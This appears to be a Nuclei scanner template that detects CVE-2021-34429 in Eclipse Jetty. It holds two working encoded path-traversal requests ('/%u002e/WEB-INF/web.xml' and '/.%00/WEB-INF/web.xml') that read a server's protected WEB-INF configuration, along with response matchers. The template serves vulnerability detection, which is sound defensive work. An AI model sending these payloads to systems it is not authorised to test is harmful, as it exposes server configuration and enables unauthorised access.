64 lines
2.4 KiB
YAML
64 lines
2.4 KiB
YAML
id: CVE-2021-34429
|
|
|
|
info:
|
|
name: Eclipse Jetty - Information Disclosure
|
|
author: bernardofsr,am0nt31r0
|
|
severity: medium
|
|
description: |
|
|
Eclipse Jetty 9.4.37-9.4.42, 10.0.1-10.0.5 and 11.0.1-11.0.5 are susceptible to improper authorization. URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by the vendor to fix the information disclosure vulnerability in Eclipse Jetty.
|
|
reference:
|
|
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
|
|
- https://lists.apache.org/thread.html/r763840320a80e515331cbc1e613fa93f25faf62e991974171a325c82@%3Cdev.zookeeper.apache.org%3E
|
|
- https://lists.apache.org/thread.html/r7dd079fa0ac6f47ba1ad0af98d7d0276547b8a4e005f034fb1016951@%3Cissues.zookeeper.apache.org%3E
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-34429
|
|
- https://lists.apache.org/thread.html/r029c0c6833c8bb6acb094733fd7b75029d633f47a92f1c9d14391fc0@%3Cnotifications.zookeeper.apache.org%3E
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2021-34429
|
|
cwe-id: CWE-200,NVD-CWE-Other
|
|
epss-score: 0.8203
|
|
epss-percentile: 0.98022
|
|
cpe: cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: eclipse
|
|
product: jetty
|
|
tags: cve,cve2021,jetty
|
|
|
|
http:
|
|
- raw:
|
|
- |+
|
|
GET /%u002e/WEB-INF/web.xml HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
|
|
- |+
|
|
GET /.%00/WEB-INF/web.xml HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
|
|
unsafe: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "</web-app>"
|
|
- "java.sun.com"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/xml"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100897f066f8ee85f1afc9eab46c4ac11de77b315b04a5904aeea3ad983c451006b02210096bc10061d770af6d9575bd89a15ab8442db4a985ec4e823fc0ca74822cae8e5:922c64590222798bb761d5b6d8e72950
|